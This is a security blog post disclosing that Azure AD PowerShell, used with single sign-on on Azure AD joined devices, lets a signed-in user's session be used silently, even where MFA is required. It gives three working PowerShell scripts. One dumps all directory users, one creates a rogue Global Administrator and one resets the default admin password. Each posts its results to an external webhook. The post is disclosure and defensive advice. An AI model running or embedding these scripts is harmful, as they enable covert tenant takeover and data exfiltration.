Why it is important to block access to Azure AD PowerShell

Why it is important to block access to Azure AD PowerShell

In one of my recent blogs, I’ve published a tool to use Intune as your e-mail signature manager for Outlook. This tool uses the AzureAD PowerShell module. Leveraging Single Sign On (SSO) on Azure AD joined devices, it queries for the user’s contact information of the user that’s signed in on the device.

In doing so, I found that, as a non-administrative user, I was also able to query the contact information of all other users.

Dumping the Azure AD

As an attacker, I would be able to embed rogue code into any PowerShell module or script, that when executed, would silently install the AzureAD PowerShell and leverage SSO to dump all users’ contact information anywhere. Sample code would be:

# Install NuGet Package Provider
Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Scope CurrentUser -Force

# Install AzureAD module to retrieve the user information
Install-Module -Name AzureAD -Scope CurrentUser -Force

# Leverage Single Sign-on to sign into the AzureAD PowerShell module
$userPrincipalName = whoami -upn
Connect-AzureAD -AccountId $userPrincipalName

# Retrieve all Azure AD Users
$azureADUsersJson = Get-AzureADUser -All $true | ConvertTo-Json -Depth 100 -Compress

# Send-MailMessage or Invoke-RestMethod to send a message to Microsoft Teams (incoming webhook connector) or other API to share collected data.
Invoke-RestMethod -Method 'Post' `
    -Uri 'https://mytenant.webhook.office.com/webhookb2/84dcdb18-0704-44ed-901d-d11f8151cxxx' `
    -Body "{'text':'$azureADUsersJson'}"

I’m pretty sure that this couldn’t be the intention. I had a call with Jan Bakker and presented these findings. We went through the settings in the Azure AD Portal and checked if access was restricted for non-administrative users to the Azure AD administration portal.

Access was restricted, but there’s an important note hidden in the information bullet.

The restriction doesn’t apply to the Azure AD PowerShell module. So is there another way? I tried to use a Conditional Access policy to block access to the Microsoft Azure Management application. However, the result was the same. It would not restrict access using PowerShell. It’s also documented at Manage access to Azure management with Conditional Access in Azure AD | Microsoft Docs, stating that it doesn’t apply to the Azure AD PowerShell module, as it calls Microsoft Graph.

I couldn’t find any option to block Microsoft Graph either. Doing further research, I came across a blog post by Rudy Ooms, called The Conditional Access Experiment. Rudy describes the only option I could find that allows blocking the Azure AD PowerShell module. In his blog, he has published a script to configure a Conditional Access policy that specifically targets the Azure AD PowerShell application.

The thing I noted is that his script is using the unsupported “hidden API” at https://main.iam.ad.ext.azure.com/api that Jos Lieben has discovered some time in 2018. It seems to be the only way to configure this application in a Conditional Access policy, as using the New-AzureADMSConditionalAccessPolicy cmdlet, which leverages Microsoft Graph instead, results in an error deeming the Azure AD PowerShell application ID invalid.

What about administrators?

As users on Azure AD joined devices use their Office 365 credentials to sign in, they are even more vulnerable to attacks when administrative roles are also enabled on their accounts.

Bypass Multi-Factor Authentication (MFA)

Even with MFA enabled, this is many times already satisfied by the user on Azure AD joined devices, for example when they sign in with Windows Hello for Business, have a compliant device, or had already signed into a Cloud app using Multi-Factor Authentication.

When a Global Administrator is targeted, the damage that can be done to an organization with these accounts is massive. Users can easily be tricked into running a PowerShell script that, in the background, impersonates their signed-in user account and executes any actions on their behalf in Azure AD.

Demonstration

I would like to demonstrate this vulnerability with some code samples. An attacker is able to impersonate the signed-in user session to authenticate to Azure AD. Because this can be done non-interactive and doesn’t require any elevation (works for standard users), the script can run completely silent / in the background. For example, attackers would be able to include malicious code in applications and/or common community PowerShell modules often used by Endpoint Manager Administrators.

Code sample 1 – Creating a new Global Administrator

The code sample below, targetting Global Administrators, creates a new Global Administrator account in the tenant. The attacker is informed when a new Global Administrator account is created with the account details using a REST API call. Note that this code sample triggers a PIM e-mail alert.

# Install NuGet Package Provider
Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Scope CurrentUser -Force

# Install the AzureAD PowerShell script in the scope of the user, which doesn't require Local Administrator credentials.
Install-Module -Name AzureAD -Scope CurrentUser -Force

# Connect to AzureAD as the user that is signed on. 
# On Azure AD joined devices, this authenticates silently, even when MFA is required from Conditional Access, impersonating the signed-in user to silently create a new Global Administrator.
$userPrincipalName = $(whoami -upn)
Connect-AzureAD -AccountId $userPrincipalName

# Find the Azure AD .onmicrosoft.com Domain
$azureADDomain = (Get-AzureADDomain | Where-Object Name -like "*.onmicrosoft.com").Name

# Find all members that are Global Administrator
$globalAdministrators = Get-AzureADDirectoryRoleMember -ObjectId 260be50e-645b-43b3-b40e-95d05ef55593

# Check if signed in user is a Global Administrator via the unique ID of the Global Administrator role, if so, use the impersonated user to create a new Global Admin. Note: This generatas an e-mail alert from PIM: "A privileged directory role was assigned outside of PIM"
if ($globalAdministrators.UserPrincipalName -contains $userPrincipalName) {
    $PasswordProfile = New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile
    $PasswordProfile.Password = "M1cr0s0ftP@ss"
    $azUser = New-AzureADUser -DisplayName "svc_o365reporting" -UserPrincipalName "svc_o365reporting@$($azureADDomain)" -PasswordProfile $PasswordProfile -MailNickname "svc_365reporting" -AccountEnabled $true

    Add-AzureADDirectoryRoleMember -ObjectId 260be50e-645b-43b3-b40e-95d05ef55593 -RefObjectId $azUser.ObjectId
}

# Send-MailMessage or Invoke-RestMethod to send a message to Microsoft Teams (incoming webhook connector) or other API to inform a Global Administrator has been created / password has been reset.
Invoke-RestMethod -Method 'Post' `
    -Uri 'https://mytenant.webhook.office.com/webhookb2/84dcdb18-0704-44ed-901d-d11f8151cxxx' `
    -Body "{'text':'Created new Global Admin account: svc_o365reporting@$azureADDomain. Password: M1cr0s0ftP@ss'}"

Code Sample 2 – Changing the default Global Administrator’s Password

The code sample below, targetting Global Administrators and changes the password of the default Global Administrator account in the tenant. The attacker is informed when the password of the Global Administrator account is changed with the account details using a REST API call. Unlike code sample 1, this does not trigger a PIM alert.

# Install NuGet Package Provider
Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Scope CurrentUser -Force

# Install the AzureAD PowerShell script in the scope of the user, which doesn't require Local Administrator credentials.
Install-Module -Name AzureAD -Scope CurrentUser -Force

# Connect to AzureAD as the user that is signed on. 
# On Azure AD joined devices, this authenticates silently, even when MFA is required from Conditional Access, impersonating the signed-in user to silently create a new Global Administrator.
$userPrincipalName = $(whoami -upn)
Connect-AzureAD -AccountId $userPrincipalName

# Find the Azure AD .onmicrosoft.com Domain
$azureADDomain = (Get-AzureADDomain | Where-Object Name -like "*.onmicrosoft.com").Name

# Find all members that are Global Administrator
$globalAdministrators = Get-AzureADDirectoryRoleMember -ObjectId 260be50e-645b-43b3-b40e-95d05ef55593

# Check if signed in user is a Global Administrator via the unique ID of the Global Administrator role, if so, use the impersonated user to reset the password of the default Office 365 Global Admin account.
if ($globalAdministrators.UserPrincipalName -contains $userPrincipalName) {
    $defaultGlobalAdmin = $globalAdministrators | Where-Object UserPrincipalName -eq "admin@$azureADDomain"
    $SecureStringPassword = ConvertTo-SecureString "M1cr0s0ftP@ss" -AsPlainText -Force
    Set-AzureADUserPassword -ObjectId $defaultGlobalAdmin.ObjectId -Password $SecureStringPassword
}

# Send-MailMessage or Invoke-RestMethod to send a message to Microsoft Teams (incoming webhook connector) or other API to inform a Global Administrator has been created / password has been reset.
Invoke-RestMethod -Method 'Post' `
    -Uri 'https://mytenant.webhook.office.com/webhookb2/84dcdb18-0704-44ed-901d-d11f8151cxxx' `
    -Body "{'text':'Changed password of Global Admin account: admin@$azureADDomain. New password: M1cr0s0ftP@ss'}"

MSRC Case

In July 2021, I’ve submit my findings to the Microsoft Security Response Center (MSRC). A case was opened, but I was shortly notified that “this case does not meet the bar for servicing by MSRC in a security update”. The case was closed.

In my opinion, it did not receive the attention that it deserves. I would like to use this opportunity to inform you about these vulnerabilities and strongly advise you to never sign in to Azure AD joined devices with Global Administrator credentials. Furthermore, block Azure AD PowerShell when possible (and yes, that will break the Intune e-mail signature management tool I blogged about). Fingers crossed that Microsoft will add an option to block Azure AD PowerShell natively from a Conditional Access policy in the (near) future.

2 thoughts on “Why it is important to block access to Azure AD PowerShell

  1. I had a ticket open with Microsoft about this same issue and they unfortunately were not able to provide any guidance for blocking Azure PowerShell in a supported way. Fingers crossed things happen soon!

Leave a Reply

Your email address will not be published. Required fields are marked *